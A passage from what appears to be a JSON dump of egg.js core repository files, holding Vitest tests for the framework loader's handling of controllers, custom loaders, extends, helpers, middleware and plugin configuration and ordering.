request(app.callback()).post('/resources-class/1').expect(404);\n    });\n\n    it('should get pathName from Controller instance', () => {\n      return request(app.callback()).get('/class-pathname').expect(200).expect('controller.admin.config');\n    });\n\n    it('should get fullPath from Controller instance', () => {\n      return request(app.callback())\n        .get('/class-fullpath')\n        .expect(200)\n        .expect(path.join(getFilepath('controller-app'), 'app/controller/admin/config.js'));\n    });\n  });\n\n  describe('only a next argument on controller', () => {\n    it('should throw error', async () => {\n      try {\n        const app = createApp('controller-next-argument');\n        await app.loader.loadAll();\n        throw new Error('should not run');\n      } catch (err: any) {\n        assert.match(err.message, /controller `next` should not use next as argument from file/);\n      }\n    });\n  });\n\n  describe('function attribute', () => {\n    it('should keep function attribute ok', () => {\n      assert(isFunction(app.controller.functionAttr.getAccountInfo));\n      assert(isAsyncFunction(app.controller.functionAttr.getAccountInfo));\n      assert(app.controller.functionAttr.getAccountInfo.operationType);\n      assert(app.controller.functionAttr.foo && isAsyncFunction(app.controller.functionAttr.foo.bar));\n      assert.deepEqual(app.controller.functionAttr.foo.bar.operationType, {\n        value: 'account.foo.bar',\n        name: 'account.foo.bar',\n        desc: 'account.foo.bar',\n        checkSign: true,\n      });\n    });\n  });\n\n  describe('not controller', () => {\n    it('should load a number', () => {\n      assert(app.controller.number === 123);\n    });\n  });\n\n  describe('controller in other directory', () => {\n    let app: Application;\n    beforeAll(async () => {\n      const baseDir = getFilepath('other-directory');\n      app = createApp('other-directory');\n      await app.loader.loadCustomApp();\n      await app.loader.loadController({\n        directory: path.join(baseDir, 'app/other-controller'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should load', () => {\n      assert(app.controller.user);\n    });\n  });\n\n  describe('when controller.supportParams === true', () => {\n    let app: Application;\n    beforeAll(async () => {\n      app = createApp('controller-params');\n      await app.loader.loadAll();\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should use as controller', async () => {\n      await request(app.callback()).get('/generator-function').expect(200).expect('done');\n      await request(app.callback()).get('/class-function').expect(200).expect('done');\n      await request(app.callback()).get('/object-function').expect(200).expect('done');\n    });\n\n    it('should support parameter', async () => {\n      assert(app.config.controller);\n      assert.equal(app.config.controller.supportParams, true);\n      const ctx = { app };\n      const args = [1, 2, 3];\n      let r = await app.controller.generatorFunction.call(ctx, ...args);\n      assert.deepEqual(args, r);\n      r = await app.controller.object.callFunction.call(ctx, ...args);\n      assert.deepEqual(args, r);\n      r = await app.controller.class.generatorFunction.call(ctx, ...args);\n      assert.deepEqual(args, r);\n      r = await app.controller.class.asyncFunction.call(ctx, ...args);\n      assert.deepEqual(args, r);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_custom_agent.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_custom_agent.test.ts', () => {\n  let agent: any;\n  beforeAll(async () => {\n    agent = createApp('plugin');\n    await agent.loader.loadPlugin();\n    await agent.loader.loadConfig();\n    await agent.loader.loadCustomAgent();\n  });\n  afterAll(() => agent.close());\n\n  it('should load agent.js', () => {\n    assert(agent.b === 'plugin b');\n    assert(agent.c === 'plugin c');\n    assert(agent.agent === 'agent');\n  });\n\n  it(\"should agent.js of plugin before application's\", () => {\n    assert(agent.dateB <= agent.date);\n    assert(agent.dateC <= agent.date);\n  });\n\n  it('should not load plugin that is disabled', () => {\n    assert(!agent.a);\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_custom_app.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type Application } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_custom_app.test.ts', () => {\n  describe('app.js as function', () => {\n    let app: Application;\n    beforeAll(async () => {\n      app = createApp('plugin');\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadCustomApp();\n    });\n    afterAll(() => app.close());\n\n    it('should load app.js', () => {\n      assert((app as any).b === 'plugin b');\n      assert((app as any).c === 'plugin c');\n      assert((app as any).app === 'app');\n    });\n\n    it(\"should app.js of plugin before application's\", () => {\n      assert((app as any).dateB <= (app as any).date);\n      assert((app as any).dateC <= (app as any).date);\n    });\n\n    it('should not load plugin that is disabled', () => {\n      assert(!(app as any).a);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_custom_loader.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type Application } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_custom_loader.test.ts', () => {\n  let app: Application;\n  beforeAll(async () => {\n    app = createApp('custom-loader');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n    await app.loader.loadMiddleware();\n    await app.loader.loadCustomLoader();\n  });\n  afterAll(() => app.close());\n\n  it('should load to app', async () => {\n    console.log((app as any).adapter);\n    const res = await (app as any).adapter.docker.inspectDocker();\n    assert(res);\n    assert(res.inject === 'app');\n  });\n\n  it('should support exports load to app', () => {\n    assert((app as any).util.test.sayHi('egg') === 'hi, egg');\n    assert((app as any).util.sub.fn.echo() === 'echo custom_loader');\n  });\n\n  it('should load to ctx', async () => {\n    await request(app.callback())\n      .get('/users/popomore')\n      .expect({\n        adapter: {\n          directory: 'app/adapter',\n          inject: 'app',\n        },\n        repository: 'popomore',\n      })\n      .expect(200);\n  });\n\n  it('should support loadunit', () => {\n    let name = (app as any).plugin.a.getName();\n    assert(name === 'plugina');\n    name = (app as any).plugin.b.getName();\n    assert(name === 'pluginb');\n  });\n\n  it('should loadConfig first', async () => {\n    const app = createApp('custom-loader');\n    try {\n      await app.loader.loadCustomLoader();\n      throw new Error('should not run');\n    } catch (err: any) {\n      assert(err.message === 'should loadConfig first');\n    } finally {\n      app.close();\n    }\n  });\n\n  it('support set directory', async () => {\n    const app = createApp('custom-loader');\n    try {\n      app.loader.config = {\n        customLoader: {\n          custom: {},\n        },\n      } as any;\n      await app.loader.loadCustomLoader();\n      throw new Error('should not run');\n    } catch (err: any) {\n      assert(err.message === 'directory is required for config.customLoader.custom');\n    } finally {\n      app.close();\n    }\n  });\n\n  it('inject support app/ctx', async () => {\n    const app = createApp('custom-loader');\n    try {\n      app.loader.config = {\n        customLoader: {\n          custom: {\n            directory: 'a',\n            inject: 'unknown',\n          },\n        },\n      } as any;\n      await app.loader.loadCustomLoader();\n      throw new Error('should not run');\n    } catch (err: any) {\n      assert(err.message === 'inject only support app or ctx');\n    } finally {\n      app.close();\n    }\n  });\n\n  it('should not overwrite the existing property', async () => {\n    const app = createApp('custom-loader');\n    try {\n      app.loader.config = {\n        coreMiddleware: [],\n        middleware: [],\n        customLoader: {\n          config: {\n            directory: 'app/config',\n            inject: 'app',\n          },\n        },\n      };\n      await app.loader.loadCustomLoader();\n      throw new Error('should not run');\n    } catch (err: any) {\n      assert(err.message === 'customLoader should not override app.config');\n    } finally {\n      app.close();\n    }\n\n    try {\n      app.loader.config = {\n        customLoader: {\n          cookies: {\n            directory: 'app/cookies',\n            inject: 'ctx',\n          },\n        },\n      } as any;\n      await app.loader.loadCustomLoader();\n      throw new Error('should not run');\n    } catch (err: any) {\n      assert(err.message === 'customLoader should not override ctx.cookies');\n    } finally {\n      app.close();\n    }\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_extend.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { mm } from 'mm';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type Application } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_extend.test.ts', () => {\n  let app: Application;\n  beforeAll(async () => {\n    app = createApp('extend');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadRequestExtend();\n    await app.loader.loadResponseExtend();\n    await app.loader.loadApplicationExtend();\n    await app.loader.loadContextExtend();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n    await app.loader.loadMiddleware();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should load app.context app.request app.response', () => {\n    assert(app.context.appContext, 'app.context.appContext');\n    assert(app.context.pluginbContext, 'app.context.pluginbContext');\n    assert(!app.context.pluginaContext, '!app.context.pluginaContext');\n    assert(app.request.appRequest, 'app.request.appRequest');\n    assert(app.request.pluginbRequest, 'app.request.pluginbRequest');\n    assert(!app.request.pluginaRequest, '!app.request.pluginaRequest');\n    assert(app.response.appResponse, 'app.response.appResponse');\n    assert(app.response.pluginbResponse, 'app.response.pluginbResponse');\n    assert(!app.response.pluginaResponse, '!app.response.pluginaResponse');\n    assert((app as any).appApplication, 'appApplication');\n    assert((app as any).pluginbApplication, 'pluginbApplication');\n    assert(!(app as any).pluginaApplication, 'pluginaApplication');\n\n    return request(app.callback())\n      .get('/')\n      .expect({\n        returnAppContext: 'app context',\n        returnPluginbContext: 'plugin b context',\n        returnAppRequest: 'app request',\n        returnPluginbRequest: 'plugin b request',\n        returnAppResponse: 'app response',\n        returnPluginbResponse: 'plugin b response',\n        returnAppApplication: 'app application',\n        returnPluginbApplication: 'plugin b application',\n        status: 200,\n        etag: 'etag ok',\n      })\n      .expect(200);\n  });\n\n  it('should load application overriding framework', async () => {\n    await request(app.callback())\n      .get('/merge/app_override_chair')\n      .expect({\n        value: 'app ajax patch',\n      })\n      .expect(200);\n  });\n\n  it('should load plugin overriding framework', async () => {\n    await request(app.callback())\n      .get('/merge/plugin_override_chair')\n      .expect({\n        value: '0.0.0.0',\n      })\n      .expect(200);\n  });\n\n  it('should load application overriding plugin', async () => {\n    await request(app.callback())\n      .get('/merge/app_override_plugin')\n      .expect({\n        value: 'will override plugin',\n      })\n      .expect(200);\n  });\n\n  it('should throw when no deps', async () => {\n    await assert.rejects(async () => {\n      const app = createApp('load_context_error');\n      await app.loader.loadContextExtend();\n    }, /Cannot find module 'this is a pen'/);\n  });\n\n  it('should throw when syntax error', async () => {\n    await assert.rejects(\n      async () => {\n        const app = createApp('load_context_syntax_error');\n        await app.loader.loadContextExtend();\n      },\n      (err: any) => {\n        assert.match(\n          err.message,\n          /error: Unexpected end of input|Failed to parse source for import analysis because the content contains invalid JS syntax/,\n        );\n        return true;\n      },\n    );\n  });\n\n  it('should extend symbol', async () => {\n    const app = createApp('extend-symbol');\n    await app.loader.loadApplicationExtend();\n    assert.equal((app as any)[Symbol.for('view')], 'view');\n  });\n\n  it('should load application by custom env', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'custom');\n    const app = createApp('extend-env');\n    await app.loader.loadPlugin();\n    await app.loader.loadApplicationExtend();\n    assert((app as any).custom === true);\n    // application.custom.js override application.js\n    assert((app as any).a === 'a1');\n    // application.custom.js in plugin also can override application.js in app\n    assert((app as any).b === 'b1');\n  });\n\n  it('should not load extend that returned function', async () => {\n    const proto: any = {};\n    await app.loader.loadExtend('call', proto);\n    assert(proto.call === undefined);\n  });\n\n  describe('load unittest extend', () => {\n    let app: Application;\n    afterAll(() => app.close());\n\n    it('should load unittext.js when unittest', async () => {\n      app = createApp('load-plugin-unittest');\n      await app.loader.loadPlugin();\n      await app.loader.loadApplicationExtend();\n      assert((app as any).unittest === true);\n      assert((app as any).local !== true);\n    });\n\n    it('should load unittext.js when mm.env(default)', async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'local');\n      mm(process.env, 'EGG_MOCK_SERVER_ENV', 'local');\n      app = createApp('load-plugin-unittest');\n      await app.loader.loadPlugin();\n      await app.loader.loadApplicationExtend();\n      assert((app as any).unittest === true);\n      assert((app as any).local === true);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_extend_class.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { mm } from 'mm';\nimport { describe, it, beforeAll, afterAll, afterEach } from 'vitest';\n\nimport { createApp, type Application } from '../../helper.ts';\n\ndescribe('test/loader/mixin/load_extend_class.test.ts', () => {\n  let app: Application;\n  beforeAll(async () => {\n    app = createApp('extend-with-class');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadRequestExtend();\n    await app.loader.loadResponseExtend();\n    await app.loader.loadApplicationExtend();\n    await app.loader.loadContextExtend();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n    await app.loader.loadMiddleware();\n  });\n  afterAll(() => app.close());\n  afterEach(mm.restore);\n\n  it('should load app.context app.request app.response', () => {\n    assert((app as any).appApplication);\n\n    return request(app.callback())\n      .get('/')\n      .expect({\n        returnAppContext: 'app context',\n        returnAppRequest: 'app request',\n        returnAppResponse: 'app response',\n        returnAppApplication: 'app application',\n        status: 200,\n        etag: 'etag ok',\n      })\n      .expect(200);\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_helper_extend.test.ts",
    "content": "import { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type Application } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_helper_extend.test.ts', () => {\n  describe('helper', () => {\n    let app: Application;\n    beforeAll(async () => {\n      app = createApp('helper');\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadApplicationExtend();\n      await app.loader.loadContextExtend();\n      await app.loader.loadHelperExtend();\n      await app.loader.loadController();\n      await app.loader.loadRouter();\n      await app.loader.loadMiddleware();\n    });\n    afterAll(() => app.close());\n\n    it('should load extend from chair, plugin and helper', async () => {\n      await request(app.callback())\n        .get('/')\n        .expect(/app: true/)\n        .expect(/plugin a: false/)\n        .expect(/plugin b: true/)\n        .expect(200);\n    });\n\n    it('should override chair by application', async () => {\n      await request(app.callback())\n        .get('/')\n        .expect(/override: app/)\n        .expect(200);\n    });\n\n    it('should not call directly', async () => {\n      await request(app.callback())\n        .get('/')\n        .expect(/not exists on locals: false/)\n        .expect(200);\n    });\n  });\n\n  describe('no Helper', () => {\n    let app: Application;\n    afterAll(() => app.close());\n\n    it('should not extend helper', async () => {\n      app = createApp('no-helper');\n      // should not throw\n      await app.loader.loadHelperExtend();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_middleware.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, getFilepath, type Application } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_middleware.test.ts', () => {\n  let app: Application;\n  beforeAll(async () => {\n    app = createApp('middleware-override');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadCustomApp();\n    await app.loader.loadMiddleware();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n  });\n  afterAll(() => app.close());\n\n  it('should load application, plugin, and default middlewares', () => {\n    assert('static' in app.middlewares);\n    assert('status' in app.middlewares);\n    assert('custom' in app.middlewares);\n    assert('b' in app.middlewares);\n    assert(!('a' in app.middlewares));\n  });\n\n  it('should also support app.middleware', () => {\n    assert('static' in app.middleware);\n    assert('status' in app.middleware);\n    assert('custom' in app.middleware);\n    assert('b' in app.middleware);\n    assert(!('a' in app.middleware));\n\n    assert.equal(app.middleware.static, app.middlewares.static);\n    const names = [];\n    for (const mw of app.middleware) {\n      assert.equal(typeof mw, 'function');\n      names.push(mw._name);\n    }\n    try {\n      assert.deepEqual(names, ['status', 'static', 'custom', 'routerMiddleware']);\n    } catch {\n      assert.deepEqual(names, ['statusDebugWrapper', 'staticDebugWrapper', 'customDebugWrapper', 'routerMiddleware']);\n    }\n  });\n\n  it('should override middlewares of plugin by framework', async () => {\n    await request(app.callback()).get('/status').expect('egg status');\n  });\n\n  it('should override middlewares of plugin by application', async () => {\n    await request(app.callback()).get('/custom').expect('app custom');\n  });\n\n  it('should override middlewares of egg by application', async () => {\n    await request(app.callback()).get('/static').expect(200).expect('static');\n  });\n\n  it('should throw when middleware return no-generator', async () => {\n    const app = createApp('custom_session_invaild');\n    await assert.rejects(async () => {\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadCustomApp();\n      await app.loader.loadMiddleware();\n    }, /Middleware session must be a function, but actual is {}/);\n  });\n\n  it('should throw when not load that is not configured', async () => {\n    const app = createApp('no-middleware');\n    await assert.rejects(async () => {\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadCustomApp();\n      await app.loader.loadMiddleware();\n    }, /Middleware a not found/);\n  });\n\n  it('should throw when middleware name redefined', async () => {\n    const app = createApp('middleware-redefined');\n    await assert.rejects(async () => {\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadCustomApp();\n      await app.loader.loadMiddleware();\n    }, /Middleware status redefined/);\n  });\n\n  it('should core middleware support options.enable', async () => {\n    const app = createApp('middleware-disable');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadCustomApp();\n    await app.loader.loadMiddleware();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n\n    await request(app.callback()).get('/status').expect(404);\n    app.close();\n  });\n\n  it('should core middleware support options.match', async () => {\n    const app = createApp('middleware-match');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadCustomApp();\n    await app.loader.loadMiddleware();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n\n    await request(app.callback()).get('/status').expect('egg status');\n\n    await request(app.callback()).post('/status').expect(404);\n    app.close();\n  });\n\n  it('should core middleware support options.ignore', async () => {\n    const app = createApp('middleware-ignore');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadCustomApp();\n    await app.loader.loadMiddleware();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n\n    await request(app.callback()).post('/status').expect('egg status');\n\n    await request(app.callback()).get('/status').expect(404);\n    app.close();\n  });\n\n  it('should app middleware support options.enable', async () => {\n    const app = createApp('middleware-app-disable');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadCustomApp();\n    await app.loader.loadMiddleware();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n\n    await request(app.callback()).get('/static').expect(404);\n    app.close();\n  });\n\n  describe('async functions and common functions', () => {\n    let app: Application;\n    beforeAll(async () => {\n      app = createApp('middleware-aa');\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadCustomApp();\n      await app.loader.loadMiddleware();\n      await app.loader.loadController();\n      await app.loader.loadRouter();\n    });\n\n    afterAll(() => app.close());\n\n    it('should support config.middleware', async () => {\n      await request(app.callback()).get('/static').expect('static', 'static').expect('hello');\n    });\n\n    it('should support app.use', async () => {\n      await request(app.callback()).get('/').expect('custom', 'custom').expect('hello');\n    });\n\n    it('should support with router', async () => {\n      await request(app.callback()).get('/router').expect('router', 'router').expect('hello');\n    });\n\n    it('should support with options.match', async () => {\n      await request(app.callback()).get('/match').expect(200).expect('match', 'match').expect('hello');\n    });\n\n    it('should support common functions', async () => {\n      await request(app.callback()).get('/common').expect('common');\n    });\n  });\n\n  describe('middleware in other directory', () => {\n    let app: Application;\n    beforeAll(async () => {\n      const baseDir = getFilepath('other-directory');\n      app = createApp('other-directory');\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadCustomApp();\n      const directory = app.loader.getLoadUnits().map((unit) => path.join(unit.path, 'app/middleware'));\n      directory.push(path.join(baseDir, 'app/other-middleware'));\n      await app.loader.loadMiddleware({\n        directory,\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should load', () => {\n      assert(app.middlewares.user);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_plugin.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport fs from 'node:fs';\nimport path from 'node:path';\n\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { EggCore, EggLoader } from '../../../src/index.js';\nimport { createApp, getFilepath, type Application } from '../../helper.js';\n\n// windows path is case-insensitive, the equal assert will fail\ndescribe.skipIf(process.platform === 'win32')('test/loader/mixin/load_plugin.test.ts', () => {\n  let app: Application | undefined;\n\n  afterEach(async () => {\n    mm.restore();\n    if (app) {\n      await app.close();\n    }\n    app = undefined;\n  });\n\n  it('should exports allPlugins, appPlugins, customPlugins, eggPlugins', async () => {\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert('allPlugins' in loader);\n    assert('appPlugins' in loader);\n    assert('customPlugins' in loader);\n    assert('eggPlugins' in loader);\n  });\n\n  it('should load plugin by pkg.eggPlugin.exports', async () => {\n    app = createApp('plugin-pkg-exports');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert('allPlugins' in loader);\n    assert('appPlugins' in loader);\n    assert('customPlugins' in loader);\n    assert('eggPlugins' in loader);\n    assert(loader.plugins.a.enable);\n  });\n\n  it('should loadConfig all plugins', async () => {\n    const baseDir = getFilepath('plugin');\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert.deepEqual(loader.plugins.b, {\n      enable: true,\n      name: 'b',\n      dependencies: [],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'node_modules/b'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n    assert.deepEqual(loader.plugins.c, {\n      enable: true,\n      name: 'c',\n      dependencies: [],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'node_modules/c'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n    assert.deepEqual(loader.plugins.e, {\n      enable: true,\n      name: 'e',\n      dependencies: ['f'],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'plugins/e'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n    assert(Array.isArray(loader.orderPlugins));\n  });\n\n  it('should loadPlugin with order', async () => {\n    app = createApp('plugin');\n    const loader = app.loader;\n    const loaderOrders: string[] = [];\n    ['loadEggPlugins', 'loadAppPlugins', 'loadCustomPlugins'].forEach((method) => {\n      mm(loader, method, async () => {\n        loaderOrders.push(method);\n        return {};\n      });\n    });\n\n    await loader.loadPlugin();\n    assert.deepEqual(loaderOrders, ['loadEggPlugins', 'loadAppPlugins', 'loadCustomPlugins']);\n  });\n\n  it('should follow the search order，node_modules of application > node_modules of framework', async () => {\n    const baseDir = getFilepath('plugin');\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n\n    assert.deepEqual(loader.plugins.rds, {\n      enable: true,\n      name: 'rds',\n      dependencies: ['session'],\n      optionalDependencies: [],\n      env: [],\n      package: 'rds',\n      path: path.join(baseDir, 'node_modules/rds'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n  });\n\n  it.skip('should support pnpm node_modules style', async () => {\n    class Application extends EggCore {\n      get [Symbol.for('egg#loader')]() {\n        return EggLoader;\n      }\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath('plugin-pnpm/node_modules/.pnpm/framework@1.0.0/node_modules/framework');\n      }\n    }\n    app = createApp('plugin-pnpm', {\n      Application,\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    // console.log(loader.plugins, loader.config);\n    assert(loader.plugins.a);\n    assert(loader.plugins.b);\n    assert(loader.config.a === 'a');\n    assert(loader.config.b === 'b');\n  });\n\n  it.skip('should support pnpm node_modules style with scope', async () => {\n    class Application extends EggCore {\n      get [Symbol.for('egg#loader')]() {\n        return EggLoader;\n      }\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath('plugin-pnpm-scope/node_modules/.pnpm/@eggjs+yadan@1.0.0/node_modules/@eggjs/yadan');\n      }\n    }\n    app = createApp('plugin-pnpm-scope', {\n      Application,\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    // console.log(loader.plugins, loader.config);\n    assert(loader.plugins.a);\n    assert(loader.plugins.b);\n    assert(loader.config.a === 'a');\n    assert(loader.config.b === 'b');\n  });\n\n  it('should support alias', async () => {\n    const baseDir = getFilepath('plugin');\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n\n    assert.deepEqual(loader.plugins.d1, {\n      enable: true,\n      name: 'd1',\n      package: 'd',\n      dependencies: [],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'node_modules/d'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n    assert(!loader.plugins.d);\n  });\n\n  it('should support config in package.json', async () => {\n    const baseDir = getFilepath('plugin');\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n\n    assert.deepEqual(loader.plugins.g, {\n      enable: true,\n      name: 'g',\n      dependencies: ['f'],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'plugins/g'),\n      version: '1.0.0',\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n  });\n\n  it('should warn when the name of plugin is not same', async () => {\n    let message = '';\n    app = createApp('plugin');\n    mm(app.console, 'warn', (m: string) => {\n      if (!m.startsWith('[@eggjs/core/egg_loader] eggPlugin is missing') && !message) {\n        message = m;\n      }\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n\n    assert.equal(message, '[@eggjs/core/egg_loader] pluginName(e) is different from pluginConfigName(wrong-name)');\n  });\n\n  it('should not warn when the config.strict is false', async () => {\n    let message = '';\n    app = createApp('plugin-strict');\n    mm(app.console, 'warn', (m: string) => {\n      message = m;\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert(!message);\n  });\n\n  it('should load plugin when eggPlugin.exports.typescript = \"./src\" exists', async () => {\n    app = createApp('plugin-ts-src');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert(loader.allPlugins.agg.path);\n    assert.match(loader.allPlugins.agg.path, /src$/);\n  });\n\n  it('should loadConfig plugins with custom plugins config', async () => {\n    const baseDir = getFilepath('plugin');\n    const plugins = {\n      foo: {\n        enable: true,\n        path: path.join(baseDir, 'node_modules/d'),\n      },\n      d1: {\n        env: ['unittest'],\n      },\n    };\n    app = createApp('plugin', { plugins });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n\n    assert.deepEqual(loader.plugins.d1, {\n      enable: true,\n      name: 'd1',\n      package: 'd',\n      dependencies: [],\n      optionalDependencies: [],\n      env: ['unittest'],\n      path: path.join(baseDir, 'node_modules/d'),\n      from: '<options.plugins>',\n    });\n    assert.deepEqual(loader.plugins.foo, {\n      enable: true,\n      name: 'foo',\n      dependencies: [],\n      optionalDependencies: [],\n      env: [],\n      path: path.join(baseDir, 'node_modules/d'),\n      from: '<options.plugins>',\n    });\n    assert(!loader.plugins.d);\n  });\n\n  it('should custom plugins with EGG_PLUGINS', async () => {\n    const baseDir = getFilepath('plugin');\n    const plugins = {\n      b: false,\n      h: {\n        enable: true,\n        path: path.join(baseDir, 'node_modules/h'),\n      },\n    };\n    mm(process.env, 'EGG_PLUGINS', `${JSON.stringify(plugins)}`);\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n\n    assert(loader.allPlugins.b.enable === false);\n    assert(loader.allPlugins.h.enable === true);\n    assert(loader.allPlugins.h.path === path.join(baseDir, 'node_modules/h'));\n  });\n\n  it('should ignore when EGG_PLUGINS parse error', async () => {\n    mm(process.env, 'EGG_PLUGINS', '{h:1}');\n    app = createApp('plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(!loader.allPlugins.h);\n  });\n\n  it('should validate plugin.package', async () => {\n    await assert.rejects(async () => {\n      app = createApp('plugin', {\n        plugins: { foo: { package: '../' }, bar: { package: 'c:\\\\' } },\n      });\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await loader.loadConfig();\n    }, /plugin foo invalid, use 'path' instead of package/);\n\n    await assert.rejects(async () => {\n      app = createApp('plugin', { plugins: { foo: { package: 'c:\\\\' } } });\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await loader.loadConfig();\n    }, /plugin foo invalid, use 'path' instead of package/);\n\n    await assert.rejects(async () => {\n      app = createApp('plugin', { plugins: { foo: { package: '/home' } } });\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await loader.loadConfig();\n    }, /plugin foo invalid, use 'path' instead of package/);\n  });\n\n  it('should throw when plugin not exist', async () => {\n    await assert.rejects(async () => {\n      app = createApp('plugin-noexist');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await loader.loadConfig();\n    }, /Can not find plugin noexist in /);\n  });\n\n  it('should throw when the dependent plugin is disabled', async () => {\n    await assert.rejects(async () => {\n      app = createApp('no-dep-plugin');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await loader.loadConfig();\n    }, /Can not find plugin @ali\\/b in /);\n  });\n\n  it('should make order', async () => {\n    mm(process.env, 'NODE_ENV', 'development');\n    app = createApp('plugin-dep');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert.deepEqual(\n      loader.orderPlugins.map((plugin) => plugin.name),\n      ['session', 'zzz', 'package', 'b', 'c1', 'f', 'a', 'd', 'e'],\n    );\n  });\n\n  it('should throw when plugin is recursive', async () => {\n    await assert.rejects(async () => {\n      app = createApp('plugin-dep-recursive');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await loader.loadConfig();\n    }, /sequencify plugins has problem, missing: 